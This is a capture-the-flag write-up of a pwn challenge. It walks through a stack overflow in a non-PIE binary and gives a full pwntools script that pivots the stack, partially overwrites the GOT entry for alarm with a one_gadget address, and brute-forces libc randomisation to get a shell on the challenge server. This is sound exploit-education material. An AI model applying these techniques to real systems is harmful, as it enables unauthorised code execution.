Giggity Ropity Goo
Challenge
Highlights
- one_gadget
- stack pivot
- PIE bruteforce
Discovery
checksec output
1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
the challenge doesn’t tell us anything when run, so we have to go straight to the code!!
1
2
3
4
5
6
7
8
9
10
undefined8 main(void)
{
undefined local_108 [256];
setup();
alarm(0x3c);
read(0,local_108,272);
return 0;
}
I’ll also include the disassembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined1 Stack[-0x108 local_108 XREF[1]: 004011a2(*)
main XREF[4]: Entry Point(*),
_start:00401074(*), 00402038,
00402108(*)
00401183 55 PUSH RBP
00401184 48 89 e5 MOV RBP,RSP
00401187 48 81 ec SUB RSP,0x100
00 01 00 00
0040118e b8 00 00 MOV EAX,0x0
00 00
00401193 e8 ae ff CALL setup undefined setup()
ff ff
00401198 bf 3c 00 MOV EDI,0x3c
00 00
0040119d e8 9e fe CALL <EXTERNAL>::alarm uint alarm(uint __seconds)
ff ff
004011a2 48 8d 85 LEA RAX=>local_108,[RBP + -0x100]
00 ff ff ff
004011a9 ba 10 01 MOV EDX,272
00 00
004011ae 48 89 c6 MOV RSI,RAX
004011b1 bf 00 00 MOV EDI,0x0
00 00
004011b6 e8 95 fe CALL <EXTERNAL>::read ssize_t read(int __fd, void * __
ff ff
004011bb b8 00 00 MOV EAX,0x0
00 00
004011c0 c9 LEAVE
004011c1 c3 RET
Stuff we can get from this:
- We only have space for one gadget
- there’s no way to leak libc so it can’t be a one gadget
- this means we have to perform stack pivot
So what can we do after we do the stack pivot?
PLT and GOT table analysis
Let’s take a look at the .plt
relocation table with readelf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ readelf -r main
Relocation section '.rela.dyn' at offset 0x540 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fd8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0 000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404030 000600000005 R_X86_64_COPY 0000000000404030 stdout@GLIBC_2.2.5 + 0
000000404040 000700000005 R_X86_64_COPY 0000000000404040 stdin@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x5a0 contains 3 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404000 000200000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000404008 000300000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
We can see that we have 3 elements:
- setbuf
- read
- alarm
The first two (in my list) are common and mean nothing, alarm
on the other hand, seems like a hint.
one gadget?
So at first it looks like we can’t ret to a one gadget since we don’t have a libc leak
What if I told you that we don’t need a leak?
PIE bruteforcing and ret to one_gadget
So, to get the libc version of the challenge I looked at the Dockerfile (which is standard practice)
1
2
3
4
5
6
7
8
9
10
11
12
from ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782 AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY main2 /srv/app/run
COPY flag.txt libc.so.6* ld-linux-x86-64.so.2* /srv/app/
RUN chmod +x /srv/app/run
ENV JAIL_TIME=70%
We can see that the base image used is ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782
, so I got the libc from a container using that image and ran one_gadget to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
so the possible one_gadget addresses are:
0x583dc
0x583e3
0xef4ce
0xef52b
Now let’s look at the address of alarm()
in the disassembly of libc.so.6
1
2
3
❯ objdump -d libc.so.6| grep alarm
00000000000ee230 <alarm>:
ee241: 73 01 jae ee244 <alarm+0x14>
Aha!
The last two gadgets kinda align with the address of alarm, only the last two bytes are different, this means that we can overwrite alarm in the .GOT
table to make it point to the one gadget address!!
There’s one small issue tho, libc always has PIE, so while the last 3 nibbles will always match, the 4 one will change every time, this means that there are 16 possible values from which it will take a random one, no biggie, we’ll just run the exploit 16 times :) (that is how probability works… right?)
btw I decided to use the last one because they are all stack values so it’s less for my brain to handle.
Solution
Full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import process, remote, ROP, ELF, context, p64, gdb, pause, sleep
target_file = "./main_patched"
target_bin = ELF(target_file)
context.binary = target_bin
p = remote("chal.wwctf.com", 7003)
rip_offset = 264
rbp_offset = rip_offset - 8
main = p64(0x401183)
pivot_addr = 0x4011a2
alarm = 0x404008
plt_alarm = 0x401040
# -------------------- PIVOT TO CHANGE ALARM --------------------------
payload = b"A" * rbp_offset + p64(alarm + 0x200) + p64(pivot_addr)
p.send(payload)
# -------------------- WRITE SMALL GADGETS TO CHANGE ALARM ----------------------
gadgets = p64(0x405000) + p64(plt_alarm)
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
p.send(payload)
# ------------------- CHANGE ALARM -----------------------------------------------------------------
payload = b"\x2b\xf5"
p.send(payload)
p.interactive()
First stage: Stack pivot
So first we perform a stack pivot, setting RBP
to 0x200
bytes after the entry for alarm
in .got
(we’ll come back to this), the address we return to is the the parameters setup for the read()
call in the challenge function. Why? Because we only have space for a single gadget, so this way we can send data again.
Second stage: Write gadgets
So now that we have the chance to input more data at a writable section that we can predict, we can just go ham and use the entire stack for gadgets!!
Of course, they won’t get executed at this stage, but we can move RSP there later and run them.
Which gadgets?
This is hard to answer on this stage, the only thing we know is that we want to return to .plt.alarm
in the end since that will mean a call to our one_gadget once the .got
is corrupted >:)
Besides that, we can predict that we will need a final call to read()
, so if we use the stack pivot address for this, then the LEAVE
instruction will get executed besides the RET
, and remember the constraints for our gadget.
1
2
3
4
5
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
to ensure fulfillment of the constraints we better control where RBP
ends up pointing, since we only care that anything below it is writable and NULL
, I picked the highest writable address.
so our gadgets look like this:
1
gadgets = p64(0x405000) + p64(plt_alarm)
Only a single gadget anyways and an address for leave
to take
Then the final payload for this stage:
1
2
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
- a dose of
b"A"
s to fill the stack .got.alarm + 0x100
thatleave
will assign toRBP
(hold on I’ll explain I swear)- our good friend the pivot address
Stage three: .got corruption and gadget execution
Remember how for the first stage we made RBP
point to .got.alarm + 0x200
and for the second it was .got.alarm + 0x200
? Well that’s not random, if you look at the disassembly carefully you’ll realize the read()
actually inserts data at RBP - 0x100
so when RBP = .got.alarm + 0x200
-> &buffer = got.alarm + 0x100
(how do you like this syntax abuse?)
Then when we set RBP = .got.alarm + 0x100
to make &buffer = .got.alarm
something funny happens, RBP
is exactly where our gadgets were written.
So all we have to send as a payload now are the two bytes with the one_gadget + guessed PIE and hope it works, if not then we run it again 15 times (exactly, that’s how probability works)
1
payload = b"\x2b\xf5"
Bonus: Was my solve not intended?
So remember how I said that alarm
in the got table seemed like a clue? Well that never made much sense with the other solve. I mean yeah we changed where the entry points to, but we could’ve done that with read
or setbuf
and then call them, it was the last call anyway so it’s not like we needed read
to keep working past here.
So this leads me to believe that the actual solve was something more like smol - NaHamCon 2021 (writeup by datajerk/burner_herz0g) where we abuse the fact that alarm
can be turned into a janky syscall
by using a similar technique to what I did to make the got entry point to alarm + 9
, check disassembly.
1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function alarm:
0x00007ffff7ea3f10 <+0>: endbr64
0x00007ffff7ea3f14 <+4>: mov eax,0x25
0x00007ffff7ea3f19 <+9>: syscall
0x00007ffff7ea3f1b <+11>: cmp rax,0xfffffffffffff001
0x00007ffff7ea3f21 <+17>: jae 0x7ffff7ea3f24 <alarm+20>
0x00007ffff7ea3f23 <+19>: ret
0x00007ffff7ea3f24 <+20>: mov rcx,QWORD PTR [rip+0x104f45] # 0x7ffff7fa8e70
0x00007ffff7ea3f2b <+27>: neg eax
0x00007ffff7ea3f2d <+29>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7ea3f30 <+32>: or rax,0xffffffffffffffff
0x00007ffff7ea3f34 <+36>: ret
This would have been needed because the challenge doesn’t have any syscall
gadget that returns.
I still think my idea was more fun, unless that was intended, then this is more fun.
Flag
user: root: